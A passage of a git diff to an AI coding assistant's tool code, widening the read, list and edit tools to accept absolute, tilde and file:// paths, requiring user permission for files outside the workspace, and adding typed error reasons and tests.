description: - "The directory path relative to the root of the project. Use forward slash paths like '/'. rather than e.g. '.'", + "The directory path. Can be relative to project root, absolute path, tilde path (~/...), or file:// URI. Use forward slash paths", }, recursive: { type: "boolean", @@ -39,4 +42,28 @@ export const lsTool: Tool = { ], }, toolCallIcon: "FolderIcon", + preprocessArgs: async (args, { ide }) => { + const dirPath = args.dirPath as string; + + // Default to current directory if no path provided + const pathToResolve = dirPath || "."; + const resolvedPath = await resolveInputPath(ide, pathToResolve); + + return { + resolvedPath, + }; + }, + evaluateToolCallPolicy: ( + basePolicy: ToolPolicy, + _: Record, + processedArgs?: Record, + ): ToolPolicy => { + const resolvedPath = processedArgs?.resolvedPath as + | ResolvedPath + | null + | undefined; + if (!resolvedPath) return basePolicy; + + return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace); + }, }; diff --git a/core/tools/definitions/multiEdit.ts b/core/tools/definitions/multiEdit.ts index e50fd459c..e526b90e5 100644 --- a/core/tools/definitions/multiEdit.ts +++ b/core/tools/definitions/multiEdit.ts @@ -1,7 +1,9 @@ import { Tool } from "../.."; +import { validateMultiEdit } from "../../edit/searchAndReplace/multiEditValidation"; +import { executeMultiFindAndReplace } from "../../edit/searchAndReplace/performReplace"; +import { validateSearchAndReplaceFilepath } from "../../edit/searchAndReplace/validateArgs"; import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn"; import { NO_PARALLEL_TOOL_CALLING_INSTRUCTION } from "./editFile"; -import { singleFindAndReplaceTool } from "./singleFindAndReplace"; export interface EditOperation { old_string: string; @@ -25,8 +27,7 @@ export const multiEditTool: Tool = { isInstant: false, function: { name: BuiltInToolNames.MultiEdit, - description: `This is a tool for making multiple edits to a single file in one operation. It is built on top of the ${singleFindAndReplaceTool.function.name} and allows you to perform multiple find-and-replace operations efficiently. -Prefer this tool over the ${singleFindAndReplaceTool.function.name} tool when you need to make multiple edits to the same file. + description: `Use this tool to make multiple edits to a single file in one operation. It allows you to perform multiple find-and-replace operations efficiently. To make multiple edits to a file, provide the following: 1. filepath: The path to the file to modify, RELATIVE to the project/workspace root (verify the directory path is correct) @@ -36,6 +37,7 @@ To make multiple edits to a file, provide the following: - replace_all: Replace all occurrences of old_string. This parameter is optional and defaults to false. IMPORTANT: +- Files may be modified between tool calls by users, linters, etc, so always make all edits in one tool call where possible. For example, do not only edit imports if there are other changes in the file, as unused imports may be removed by a linter between tool calls. - All edits are applied in sequence, in the order they are provided - Each edit operates on the result of the previous edit, so plan your edits carefully to avoid conflicts between sequential operations - Edits are atomic - all edits must be valid for the operation to succeed - if any edit fails, none will be applied @@ -50,12 +52,6 @@ CRITICAL REQUIREMENTS: - Only use emojis if the user explicitly requests it. Avoid adding emojis to files unless asked - Use replace_all for replacing and renaming all matches for a string across the file. This parameter is useful if you want to rename a variable, for instance -If you want to create a new file, use: -- A new file path, including new directory if needed -- First edit: empty old_string and the new file's contents as new_string -- Subsequent edits are not allowed - there is no need since you are creating -- ALWAYS prefer editing existing files in the codebase. NEVER write new files unless explicitly required - WARNINGS: - If earlier edits affect the text that later edits are trying to find, files can become mangled - The tool will fail if edits.old_string doesn't match the file contents exactly (including whitespace) @@ -114,4 +110,24 @@ WARNINGS: ], }, defaultToolPolicy: "allowedWithPermission", + preprocessArgs: async (args, extras) => { + const { edits } = validateMultiEdit(args); + const fileUri = await validateSearchAndReplaceFilepath( + args.filepath, + extras.ide, + ); + + const editingFileContents = await extras.ide.readFile(fileUri); + const newFileContents = executeMultiFindAndReplace( + editingFileContents, + edits, + ); + + return { + ...args, + fileUri, + editingFileContents, + newFileContents, + }; + }, }; diff --git a/core/tools/definitions/readFile.ts b/core/tools/definitions/readFile.ts index ee6c1c91c..9342e7916 100644 --- a/core/tools/definitions/readFile.ts +++ b/core/tools/definitions/readFile.ts @@ -1,5 +1,8 @@ +import { ToolPolicy } from "@continuedev/terminal-security"; import { Tool } from "../.."; +import { ResolvedPath, resolveInputPath } from "../../util/pathResolver"; import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn"; +import { evaluateFileAccessPolicy } from "../policies/fileAccess"; export const readFileTool: Tool = { type: "function", @@ -21,7 +24,7 @@ export const readFileTool: Tool = { filepath: { type: "string", description: - "The path of the file to read, relative to the root of the workspace (NOT uri or absolute path)", + "The path of the file to read. Can be a relative path (from workspace root), absolute path, tilde path (~/...), or file:// URI", }, }, }, @@ -32,4 +35,26 @@ export const readFileTool: Tool = { }, defaultToolPolicy: "allowedWithoutPermission", toolCallIcon: "DocumentIcon", + preprocessArgs: async (args, { ide }) => { + const filepath = args.filepath as string; + const resolvedPath = await resolveInputPath(ide, filepath); + + // Store the resolved path info in args for policy evaluation + return { + resolvedPath, + }; + }, + evaluateToolCallPolicy: ( + basePolicy: ToolPolicy, + _: Record, + processedArgs?: Record, + ): ToolPolicy => { + const resolvedPath = processedArgs?.resolvedPath as + | ResolvedPath + | null + | undefined; + if (!resolvedPath) return basePolicy; + + return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace); + }, }; diff --git a/core/tools/definitions/readFileRange.ts b/core/tools/definitions/readFileRange.ts index 41a7bfcfd..2c573c72d 100644 --- a/core/tools/definitions/readFileRange.ts +++ b/core/tools/definitions/readFileRange.ts @@ -1,5 +1,8 @@ +import { ToolPolicy } from "@continuedev/terminal-security"; import { Tool } from "../.."; +import { ResolvedPath, resolveInputPath } from "../../util/pathResolver"; import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn"; +import { evaluateFileAccessPolicy } from "../policies/fileAccess"; export const readFileRangeTool: Tool = { type: "function", @@ -49,4 +52,25 @@ export const readFileRangeTool: Tool = { }, defaultToolPolicy: "allowedWithoutPermission", toolCallIcon: "DocumentIcon", + preprocessArgs: async (args, { ide }) => { + const filepath = args.filepath as string; + const resolvedPath = await resolveInputPath(ide, filepath); + + return { + resolvedPath, + }; + }, + evaluateToolCallPolicy: ( + basePolicy: ToolPolicy, + _: Record, + processedArgs?: Record, + ): ToolPolicy => { + const resolvedPath = processedArgs?.resolvedPath as + | ResolvedPath + | null + | undefined; + if (!resolvedPath) return basePolicy; + + return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace); + }, }; diff --git a/core/tools/definitions/requestRule.test.ts b/core/tools/definitions/requestRule.test.ts index 0fd7b5de8..b2d924ec9 100644 --- a/core/tools/definitions/requestRule.test.ts +++ b/core/tools/definitions/requestRule.test.ts @@ -10,7 +10,7 @@ describe("getRequestRuleDescription", () => { source: "default-chat", rule: "Always use semicolons", alwaysApply: true, - ruleFile: "/path/to/rule1.md", + sourceFile: "/path/to/rule1.md", }, { name: "Rule with Globs", @@ -18,7 +18,7 @@ describe("getRequestRuleDescription", () => { source: "rules-block", rule: "Use TypeScript", globs: "**/*.ts", - ruleFile: "/path/to/rule2.md", + sourceFile: "/path/to/rule2.md", }, ]; @@ -38,7 +38,7 @@ describe("getRequestRuleDescription", () => { source: "rules-block", rule: "Use consistent formatting", alwaysApply: false, - ruleFile: "/path/to/agent-rule1.md", + sourceFile: "/path/to/agent-rule1.md", }, { name: "Agent Rule 2", @@ -46,7 +46,7 @@ describe("getRequestRuleDescription", () => { source: "default-agent", rule: "Follow naming conventions", alwaysApply: false, - ruleFile: "/path/to/agent-rule2.md", + sourceFile: "/path/to/agent-rule2.md", }, // These should be filtered out { @@ -55,7 +55,7 @@ describe("getRequestRuleDescription", () => { source: "default-chat", rule: "Always use semicolons", alwaysApply: true, - ruleFile: "/path/to/rule1.md", + sourceFile: "/path/to/rule1.md", }, { name: "Rule with Globs", @@ -63,7 +63,7 @@ describe("getRequestRuleDescription", () => { source: "rules-block", rule: "Use TypeScript", globs: "**/*.ts", - ruleFile: "/path/to/rule2.md", + sourceFile: "/path/to/rule2.md", }, ]; @@ -84,7 +84,7 @@ describe("getRequestRuleDescription", () => { source: "rules-block", rule: "Some rule content", alwaysApply: false, - ruleFile: "/path/to/no-desc-rule.md", + sourceFile: "/path/to/no-desc-rule.md", }, ]; @@ -104,7 +104,7 @@ describe("getRequestRuleDescription", () => { source: "rules-block", rule: "Some rule content", alwaysApply: false, - ruleFile: "/path/to/no-name-rule.md", + sourceFile: "/path/to/no-name-rule.md", }, ]; @@ -117,7 +117,7 @@ describe("getRequestRuleDescription", () => { expect(result).toBe(expected); }); - it("should handle rules with missing ruleFile", () => { + it("should handle rules with missing sourceFile", () => { const rules: RuleWithSource[] = [ { name: "Rule Without File", @@ -144,7 +144,7 @@ describe("getRequestRuleDescription", () => { description: "This should be filtered out", source: "rules-block", rule: "Some rule", - ruleFile: "/path/to/rule.md", + sourceFile: "/path/to/rule.md", // alwaysApply is undefined, which is truthy in the filter condition }, { @@ -153,7 +153,7 @@ describe("getRequestRuleDescription", () => { source: "rules-block", rule: "Some rule", alwaysApply: false, - ruleFile: "/path/to/valid-rule.md", + sourceFile: "/path/to/valid-rule.md", }, ]; @@ -175,7 +175,7 @@ describe("getRequestRuleDescription", () => { rule: "Some rule", alwaysApply: false, globs: "**/*.ts", - ruleFile: "/path/to/rule1.md", + sourceFile: "/path/to/rule1.md", }, { name: "Rule with array globs", @@ -184,7 +184,7 @@ describe("getRequestRuleDescription", () => { rule: "Some rule", alwaysApply: false, globs: ["**/*.ts", "**/*.js"], - ruleFile: "/path/to/rule2.md", + sourceFile: "/path/to/rule2.md", }, { name: "Valid Agent Rule", @@ -192,7 +192,7 @@ describe("getRequestRuleDescription", () => { source: "rules-block", rule: "Some rule", alwaysApply: false, - ruleFile: "/path/to/valid-rule.md", + sourceFile: "/path/to/valid-rule.md", }, ]; @@ -224,7 +224,7 @@ describe("getRequestRuleDescription", () => { source: "rules-block", rule: "Follow this guideline", alwaysApply: false, - ruleFile: "/path/to/single-rule.md", + sourceFile: "/path/to/single-rule.md", }, ]; diff --git a/core/tools/definitions/singleFindAndReplace.ts b/core/tools/definitions/singleFindAndReplace.ts index 653fba584..c5b2995e1 100644 --- a/core/tools/definitions/singleFindAndReplace.ts +++ b/core/tools/definitions/singleFindAndReplace.ts @@ -1,4 +1,7 @@ import { Tool } from "../.."; +import { validateSingleEdit } from "../../edit/searchAndReplace/findAndReplaceUtils"; +import { executeFindAndReplace } from "../../edit/searchAndReplace/performReplace"; +import { validateSearchAndReplaceFilepath } from "../../edit/searchAndReplace/validateArgs"; import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn"; import { NO_PARALLEL_TOOL_CALLING_INSTRUCTION } from "./editFile"; @@ -70,4 +73,31 @@ WARNINGS: ], }, defaultToolPolicy: "allowedWithPermission", + preprocessArgs: async (args, extras) => { + const { oldString, newString, replaceAll } = validateSingleEdit( + args.old_string, + args.new_string, + args.replace_all, + ); + const fileUri = await validateSearchAndReplaceFilepath( + args.filepath, + extras.ide, + ); + + const editingFileContents = await extras.ide.readFile(fileUri); + const newFileContents = executeFindAndReplace( + editingFileContents, + oldString, + newString, + replaceAll ?? false, + 0, + ); + + return { + ...args, + fileUri, + editingFileContents, + newFileContents, + }; + }, }; diff --git a/core/tools/definitions/viewSubdirectory.ts b/core/tools/definitions/viewSubdirectory.ts index f8776716f..eafd35dd7 100644 --- a/core/tools/definitions/viewSubdirectory.ts +++ b/core/tools/definitions/viewSubdirectory.ts @@ -1,5 +1,8 @@ +import { ToolPolicy } from "@continuedev/terminal-security"; import { Tool } from "../.."; +import { ResolvedPath, resolveInputPath } from "../../util/pathResolver"; import { BUILT_IN_GROUP_NAME, BuiltInToolNames } from "../builtIn"; +import { evaluateFileAccessPolicy } from "../policies/fileAccess"; export const viewSubdirectoryTool: Tool = { type: "function", @@ -31,4 +34,25 @@ export const viewSubdirectoryTool: Tool = { }, defaultToolPolicy: "allowedWithPermission", toolCallIcon: "FolderOpenIcon", + preprocessArgs: async (args, { ide }) => { + const directoryPath = args.directory_path as string; + const resolvedPath = await resolveInputPath(ide, directoryPath); + + return { + resolvedPath, + }; + }, + evaluateToolCallPolicy: ( + basePolicy: ToolPolicy, + _: Record, + processedArgs?: Record, + ): ToolPolicy => { + const resolvedPath = processedArgs?.resolvedPath as + | ResolvedPath + | null + | undefined; + if (!resolvedPath) return basePolicy; + + return evaluateFileAccessPolicy(basePolicy, resolvedPath.isWithinWorkspace); + }, }; diff --git a/core/tools/implementations/createNewFile.ts b/core/tools/implementations/createNewFile.ts index 0677e7dcd..dca307d99 100644 --- a/core/tools/implementations/createNewFile.ts +++ b/core/tools/implementations/createNewFile.ts @@ -3,6 +3,7 @@ import { inferResolvedUriFromRelativePath } from "../../util/ideUtils"; import { ToolImpl } from "."; import { getCleanUriPath, getUriPathBasename } from "../../util/uri"; import { getStringArg } from "../parseArgs"; +import { ContinueError, ContinueErrorReason } from "../../util/errors"; export const createNewFileImpl: ToolImpl = async (args, extras) => { const filepath = getStringArg(args, "filepath"); @@ -15,7 +16,8 @@ export const createNewFileImpl: ToolImpl = async (args, extras) => { if (resolvedFileUri) { const exists = await extras.ide.fileExists(resolvedFileUri); if (exists) { - throw new Error( + throw new ContinueError( + ContinueErrorReason.FileAlreadyExists, `File ${filepath} already exists. Use the edit tool to edit this file`, ); } @@ -37,6 +39,9 @@ export const createNewFileImpl: ToolImpl = async (args, extras) => { }, ]; } else { - throw new Error("Failed to resolve path"); + throw new ContinueError( + ContinueErrorReason.PathResolutionFailed, + "Failed to resolve path", + ); } }; diff --git a/core/tools/implementations/fetchUrlContent.vitest.ts b/core/tools/implementations/fetchUrlContent.vitest.ts index 0c8efb81b..d0709bad1 100644 --- a/core/tools/implementations/fetchUrlContent.vitest.ts +++ b/core/tools/implementations/fetchUrlContent.vitest.ts @@ -89,3 +89,13 @@ test("fetchUrlContent should add truncation warning with multiple truncated item expect(result[1].content.length).toBe(DEFAULT_FETCH_URL_CHAR_LIMIT); expect(result[2].name).toBe("Truncation warning"); }); + +test("fetchUrlContent should propagate errors when URL fetch fails", async () => { + const errorMessage = "HTTP 404 Not Found"; + + (getUrlContextItems as any).mockRejectedValue(new Error(errorMessage)); + + await expect( + fetchUrlContentImpl({ url: "https://example.com/404" }, mockExtras), + ).rejects.toThrow(errorMessage); +}); diff --git a/core/tools/implementations/grepSearch.ts b/core/tools/implementations/grepSearch.ts index 727b5c560..69ccf6aac 100644 --- a/core/tools/implementations/grepSearch.ts +++ b/core/tools/implementations/grepSearch.ts @@ -1,5 +1,6 @@ import { ToolImpl } from "."; import { ContextItem } from "../.."; +import { ContinueError, ContinueErrorReason } from "../../util/errors"; import { formatGrepSearchResults } from "../../util/grepSearch"; import { prepareQueryForRipgrep } from "../../util/regexValidator"; import { getStringArg } from "../parseArgs"; @@ -63,7 +64,10 @@ export const grepSearchImpl: ToolImpl = async (args, extras) => { ]; } - throw error; + throw new ContinueError( + ContinueErrorReason.SearchExecutionFailed, + errorMessage, + ); } const { formatted, numResults, truncated } = formatGrepSearchResults( diff --git a/core/tools/implementations/lsTool.ts b/core/tools/implementations/lsTool.ts index 67122f082..c8c753060 100644 --- a/core/tools/implementations/lsTool.ts +++ b/core/tools/implementations/lsTool.ts @@ -2,13 +2,15 @@ import ignore from "ignore"; import { ToolImpl } from "."; import { walkDir } from "../../indexing/walkDir"; -import { resolveRelativePathInDir } from "../../util/ideUtils"; +import { resolveInputPath } from "../../util/pathResolver"; +import { ContinueError, ContinueErrorReason } from "../../util/errors"; export function resolveLsToolDirPath(dirPath: string | undefined) { if (!dirPath || dirPath === ".") { return "/"; } - if (dirPath.startsWith(".")) { + // Don't strip leading slash from absolute paths - let the resolver handle it + if (dirPath.startsWith(".") && !dirPath.startsWith("./")) { return dirPath.slice(1); } return dirPath.replace(/\\/g, "/"); @@ -18,14 +20,15 @@ const MAX_LS_TOOL_LINES = 200; export const lsToolImpl: ToolImpl = async (args, extras) => { const dirPath = resolveLsToolDirPath(args?.dirPath); - const uri = await resolveRelativePathInDir(dirPath, extras.ide); - if (!uri) { - throw new Error( - `Directory ${args.dirPath} not found. Make sure to use forward-slash paths`, + const resolvedPath = await resolveInputPath(extras.ide, dirPath); + if (!resolvedPath) { + throw new ContinueError( + ContinueErrorReason.DirectoryNotFound, + `Directory ${args.dirPath} not found or is not accessible. You can use absolute paths, relative paths, or paths starting with ~`, ); } - const entries = await walkDir(uri, extras.ide, { + const entries = await walkDir(resolvedPath.uri, extras.ide, { returnRelativeUrisPaths: true, include: "both", recursive: args?.recursive ?? false, @@ -37,12 +40,12 @@ export const lsToolImpl: ToolImpl = async (args, extras) => { let content = lines.length > 0 ? lines.join("\n") - : `No files/folders found in ${dirPath}`; + : `No files/folders found in ${resolvedPath.displayPath}`; const contextItems = [ { name: "File/folder list", - description: `Files/folders in ${dirPath}`, + description: `Files/folders in ${resolvedPath.displayPath}`, content, }, ]; diff --git a/core/tools/implementations/lsTool.vitest.ts b/core/tools/implementations/lsTool.vitest.ts index b697a90c5..c3c571294 100644 --- a/core/tools/implementations/lsTool.vitest.ts +++ b/core/tools/implementations/lsTool.vitest.ts @@ -25,7 +25,7 @@ test("resolveLsToolDirPath handles dot", () => { }); test("resolveLsToolDirPath handles dot relative", () => { - expect(resolveLsToolDirPath("./hi")).toBe("/hi"); + expect(resolveLsToolDirPath("./hi")).toBe("./hi"); }); test("resolveLsToolDirPath normalizes backslashes to forward slashes", () => { diff --git a/core/tools/implementations/readFile.ts b/core/tools/implementations/readFile.ts index afa6495ad..6c55912ee 100644 --- a/core/tools/implementations/readFile.ts +++ b/core/tools/implementations/readFile.ts @@ -1,37 +1,43 @@ -import { resolveRelativePathInDir } from "../../util/ideUtils"; +import { resolveInputPath } from "../../util/pathResolver"; import { getUriPathBasename } from "../../util/uri"; import { ToolImpl } from "."; import { throwIfFileIsSecurityConcern } from "../../indexing/ignore"; import { getStringArg } from "../parseArgs"; import { throwIfFileExceedsHalfOfContext } from "./readFileLimit"; +import { ContinueError, ContinueErrorReason } from "../../util/errors"; export const readFileImpl: ToolImpl = async (args, extras) => { const filepath = getStringArg(args, "filepath"); - throwIfFileIsSecurityConcern(filepath); - const firstUriMatch = await resolveRelativePathInDir(filepath, extras.ide); - if (!firstUriMatch) { - throw new Error( - `File "${filepath}" does not exist. You might want to check the path and try again.`, + // Resolve the path first to get the actual path for security check + const resolvedPath = await resolveInputPath(extras.ide, filepath); + if (!resolvedPath) { + throw new ContinueError( + ContinueErrorReason.FileNotFound, + `File "${filepath}" does not exist or is not accessible. You might want to check the path and try again.`, ); } - const content = await extras.ide.readFile(firstUriMatch); + + // Security check on the resolved display path + throwIfFileIsSecurityConcern(resolvedPath.displayPath); + + const content = await extras.ide.readFile(resolvedPath.uri); await throwIfFileExceedsHalfOfContext( - filepath, + resolvedPath.displayPath, content, extras.config.selectedModelByRole.chat, ); return [ { - name: getUriPathBasename(firstUriMatch), - description: filepath, + name: getUriPathBasename(resolvedPath.uri), + description: resolvedPath.displayPath, content, uri: { type: "file", - value: firstUriMatch, + value: resolvedPath.uri, }, }, ]; diff --git a/core/tools/implementations/readFileLimit.ts b/core/tools/implementations/readFileLimit.ts index e2af14d56..48f4b9f86 100644 --- a/core/tools/implementations/readFileLimit.ts +++ b/core/tools/implementations/readFileLimit.ts @@ -1,5 +1,6 @@ import { ILLM } from "../.."; import { countTokensAsync } from "../../llm/countTokens"; +import { ContinueError, ContinueErrorReason } from "../../util/errors"; export async function throwIfFileExceedsHalfOfContext( filepath: string, @@ -10,7 +11,8 @@ export async function throwIfFileExceedsHalfOfContext( const tokens = await countTokensAsync(content, model.title); const tokenLimit = model.contextLength / 2; if (tokens > tokenLimit) { - throw new Error( + throw new ContinueError( + ContinueErrorReason.FileTooLarge, `File ${filepath} is too large (${tokens} tokens vs ${tokenLimit} token limit). Try another approach`, ); } diff --git a/core/tools/implementations/readFileRange.ts b/core/tools/implementations/readFileRange.ts index c313f4bff..7b5f47338 100644 --- a/core/tools/implementations/readFileRange.ts +++ b/core/tools/implementations/readFileRange.ts @@ -1,9 +1,11 @@ -import { resolveRelativePathInDir } from "../../util/ideUtils"; +import { resolveInputPath } from "../../util/pathResolver"; import { getUriPathBasename } from "../../util/uri"; import { ToolImpl } from "."; +import { throwIfFileIsSecurityConcern } from "../../indexing/ignore"; import { getNumberArg, getStringArg } from "../parseArgs"; import { throwIfFileExceedsHalfOfContext } from "./readFileLimit"; +import { ContinueError, ContinueErrorReason } from "../../util/errors"; export const readFileRangeImpl: ToolImpl = async (args, extras) => { const filepath = getStringArg(args, "filepath"); @@ -12,30 +14,38 @@ export const readFileRangeImpl: ToolImpl = async (args, extras) => { // Validate that line numbers are positive integers if (startLine < 1) { - throw new Error( + throw new ContinueError( + ContinueErrorReason.InvalidLineNumber, "startLine must be 1 or greater. Negative line numbers are not supported - use the terminal tool with 'tail' command for reading from file end.", ); } if (endLine < 1) { - throw new Error( + throw new ContinueError( + ContinueErrorReason.InvalidLineNumber, "endLine must be 1 or greater. Negative line numbers are not supported - use the terminal tool with 'tail' command for reading from file end.", ); } if (endLine < startLine) { - throw new Error( + throw new ContinueError( + ContinueErrorReason.InvalidLineNumber, `endLine (${endLine}) must be greater than or equal to startLine (${startLine})`, ); } - const firstUriMatch = await resolveRelativePathInDir(filepath, extras.ide); - if (!firstUriMatch) { - throw new Error( - `File "${filepath}" does not exist. You might want to check the path and try again.`, + // Resolve the path first to get the actual path for security check + const resolvedPath = await resolveInputPath(extras.ide, filepath); + if (!resolvedPath) { + throw new ContinueError( + ContinueErrorReason.FileNotFound, + `File "${filepath}" does not exist or is not accessible. You might want to check the path and try again.`, ); } + // Security check on the resolved display path + throwIfFileIsSecurityConcern(resolvedPath.displayPath); + // Use the IDE's readRangeInFile method with 0-based range (IDE expects 0-based internally) - const content = await extras.ide.readRangeInFile(firstUriMatch, { + const content = await extras.ide.readRangeInFile(resolvedPath.uri, { start: { line: startLine - 1, // Convert from 1-based to 0-based character: 0, @@ -47,21 +57,21 @@ export const readFileRangeImpl: ToolImpl = async (args, extras) => { }); await throwIfFileExceedsHalfOfContext( - filepath, + resolvedPath.displayPath, content, extras.config.selectedModelByRole.chat, ); - const rangeDescription = `${filepath} (lines ${startLine}-${endLine})`; + const rangeDescription = `${resolvedPath.displayPath} (lines ${startLine}-${endLine})`; return [ { - name: getUriPathBasename(firstUriMatch), + name: getUriPathBasename(resolvedPath.uri), description: rangeDescription, content, uri: { type: "file", - value: firstUriMatch, + value: resolvedPath.uri, }, }, ]; diff --git a/core/tools/implementations/requestRule.ts b/core/tools/implementations/requestRule.ts index 61467e429..21ee86af8 100644 --- a/core/tools/implementations/requestRule.ts +++ b/core/tools/implementations/requestRule.ts @@ -1,4 +1,5 @@ import { ToolImpl } from "."; +import { ContinueError, ContinueErrorReason } from "../../util/errors"; import { getStringArg } from "../parseArgs"; export const requestRuleImpl: ToolImpl = async (args, extras) => { @@ -7,8 +8,11 @@ export const requestRuleImpl: ToolImpl = async (args, extras) => { // Find the rule by name in the config const rule = extras.config.rules.find((r) => r.name === name); - if (!rule || !rule.ruleFile) { - throw new Error(`Rule with name "${name}" not found or has no file path`); + if (!rule || !rule.sourceFile) { + throw new ContinueError( + ContinueErrorReason.RuleNotFound, + `Rule with name "${name}" not found or has no file path`, + ); } return [ @@ -18,7 +22,7 @@ export const requestRuleImpl: ToolImpl = async (args, extras) => { content: rule.rule, uri: { type: "file", - value: rule.ruleFile, + value: rule.sourceFile, }, }, ]; diff --git a/core/tools/implementations/runTerminalCommand.ts b/core/tools/implementations/runTerminalCommand.ts index cccf3353b..15b1dc1bf 100644 --- a/core/tools/implementations/runTerminalCommand.ts +++ b/core/tools/implementations/runTerminalCommand.ts @@ -2,6 +2,7 @@ import iconv from "iconv-lite"; import childProcess from "node:child_process"; import os from "node:os"; import util from "node:util"; +import { ContinueError, ContinueErrorReason } from "../../util/errors"; // Automatically decode the buffer according to the platform to avoid garbled Chinese function getDecodedOutput(data: Buffer): string { if (process.platform === "win32") { @@ -337,7 +338,8 @@ export const runTerminalCommandImpl: ToolImpl = async (args, extras) => { if (code === 0) { resolve({ stdout, stderr }); } else { - const error = new Error( + const error = new ContinueError( + ContinueErrorReason.CommandExecutionFailed, `Command failed with exit code ${code}`, ); (error as any).stderr = stderr; diff --git a/core/tools/implementations/viewSubdirectory.ts b/core/tools/implementations/viewSubdirectory.ts index b7897aae8..c48ec0cd3 100644 --- a/core/tools/implementations/viewSubdirectory.ts +++ b/core/tools/implementations/viewSubdirectory.ts @@ -1,20 +1,33 @@ import generateRepoMap from "../../util/generateRepoMap"; -import { resolveRelativePathInDir } from "../../util/ideUtils"; +import { resolveInputPath } from "../../util/pathResolver"; import { ToolImpl } from "."; +import { ContinueError, ContinueErrorReason } from "../../util/errors"; import { getStringArg } from "../parseArgs"; export const viewSubdirectoryImpl: ToolImpl = async (args: any, extras) => { const directory_path = getStringArg(args, "directory_path"); - const uri = await resolveRelativePathInDir(directory_path, extras.ide); + const resolvedPath = await resolveInputPath(extras.ide, directory_path); - if (!uri) { - throw new Error(`Directory path "${directory_path}" does not exist.`); + if (!resolvedPath) { + throw new ContinueError( + ContinueErrorReason.DirectoryNotFound, + `Directory path "${directory_path}" does not exist or is not accessible.`, + ); + } + + // Check if the resolved path actually exists + const exists = await extras.ide.fileExists(resolvedPath.uri); + if (!exists) { + throw new ContinueError( + ContinueErrorReason.DirectoryNotFound, + `Directory path "${directory_path}" does not exist or is not accessible.`, + ); } const repoMap = await generateRepoMap(extras.llm, extras.ide, { - dirUris: [uri], + dirUris: [resolvedPath.uri], outputRelativeUriPaths: true, includeSignatures: false, }); @@ -22,7 +35,7 @@ export const viewSubdirectoryImpl: ToolImpl = async (args: any, extras) => { return [ { name: "Repo map", - description: `Map of ${directory_path}`, + description: `Map of ${resolvedPath.displayPath}`, content: repoMap, }, ]; diff --git a/core/tools/implementations/viewSubdirectory.vitest.ts b/core/tools/implementations/viewSubdirectory.vitest.ts new file mode 100644 index 000000000..1bbd6243a --- /dev/null +++ b/core/tools/implementations/viewSubdirectory.vitest.ts @@ -0,0 +1,51 @@ +import { describe, expect, it, vi } from "vitest"; +import { ContinueError, ContinueErrorReason } from "../../util/errors"; +import { viewSubdirectoryImpl } from "./viewSubdirectory"; + +describe("viewSubdirectoryImpl", () => { + it("should throw DirectoryNotFound when resolveInputPath returns null", async () => { + const mockExtras = { + ide: { + fileExists: vi.fn().mockResolvedValue(false), + getWorkspaceDirs: vi.fn().mockResolvedValue(["file:///workspace"]), + }, + llm: {}, + }; + + // resolveInputPath will return null when path doesn't exist + await expect( + viewSubdirectoryImpl( + { directory_path: "/non/existent/path" }, + mockExtras as any, + ), + ).rejects.toThrow(ContinueError); + }); + + it("should throw DirectoryNotFound when path exists in resolveInputPath but not on filesystem", async () => { + const mockExtras = { + ide: { + fileExists: vi.fn().mockResolvedValue(false), // Path doesn't exist + getWorkspaceDirs: vi.fn().mockResolvedValue(["file:///workspace"]), + }, + llm: {}, + }; + + // This test verifies the fix - even if resolveInputPath returns a valid object, + // we still check if the path exists and throw if it doesn't + try { + await viewSubdirectoryImpl( + { directory_path: "/some/absolute/path" }, + mockExtras as any, + ); + expect.fail("Should have thrown DirectoryNotFound error"); + } catch (error) { + expect(error).toBeInstanceOf(ContinueError); + expect((error as ContinueError).reason).toBe( + ContinueErrorReason.DirectoryNotFound, + ); + expect((error as ContinueError).message).toContain( + "does not exist or is not accessible", + ); + } + }); +}); diff --git a/core/tools/index.ts b/core/tools/index.ts index e021a601c..bdc519dc9 100644 --- a/core/tools/index.ts +++ b/core/tools/index.ts @@ -51,3 +51,8 @@ export const getConfigDependentToolDefinitions = ( return tools; }; + +export function serializeTool(tool: Tool) { + const { preprocessArgs, evaluateToolCallPolicy, ...rest } = tool; + return rest; +} diff --git a/core/tools/mcpToolName.vitest.ts b/core/tools/mcpToolName.vitest.ts index 6a7042d8f..c49f4e852 100644 --- a/core/tools/mcpToolName.vitest.ts +++ b/core/tools/mcpToolName.vitest.ts @@ -12,10 +12,8 @@ const createMcpServer = (name: string): MCPServerStatus => ({ resourceTemplates: [], status: "connected", id: "", - transport: { - type: "sse", - url: "", - }, + type: "sse", + url: "", isProtectedResource: false, }); diff --git a/core/tools/policies/fileAccess.ts b/core/tools/policies/fileAccess.ts new file mode 100644 index 000000000..2d6801f54 --- /dev/null +++ b/core/tools/policies/fileAccess.ts @@ -0,0 +1,26 @@ +import { ToolPolicy } from "@continuedev/terminal-security"; + +/** + * Evaluates file access policy based on whether the file is within workspace boundaries + * + * @param basePolicy - The base policy from tool definition or user settings + * @param isWithinWorkspace - Whether the file/directory is within workspace + * @returns The evaluated policy - more restrictive for files outside workspace + */ +export function evaluateFileAccessPolicy( + basePolicy: ToolPolicy, + isWithinWorkspace: boolean, +): ToolPolicy { + // If tool is disabled, keep it disabled + if (basePolicy === "disabled") { + return "disabled"; + } + + // Files within workspace use the base policy (typically "allowedWithoutPermission") + if (isWithinWorkspace) { + return basePolicy; + } + + // Files outside workspace always require permission for security + return "allowedWithPermission"; +} diff --git a/core/util/GlobalContext.ts b/core/util/GlobalContext.ts index 0a1778395..44b9b5f11 100644 --- a/core/util/GlobalContext.ts +++ b/core/util/GlobalContext.ts @@ -30,6 +30,7 @@ export type GlobalContextType = { selectedModelsByProfileId: { [profileId: string]: GlobalContextModelSelections; }; + cliSelectedModel?: string; // CLI-specific model selection for unauthenticated users /** * This is needed to handle the case where a JetBrains user has created diff --git a/core/util/chatDescriber.test.ts b/core/util/chatDescriber.test.ts index 315cb3fea..64ba68314 100644 --- a/core/util/chatDescriber.test.ts +++ b/core/util/chatDescriber.test.ts @@ -30,7 +30,7 @@ describe("ChatDescriber", () => { expect(result).toBeUndefined(); }); - it("should set completionOptions.maxTokens to 12", async () => { + it("should set completionOptions.maxTokens to 16", async () => { const message = "Test message"; const completionOptions: 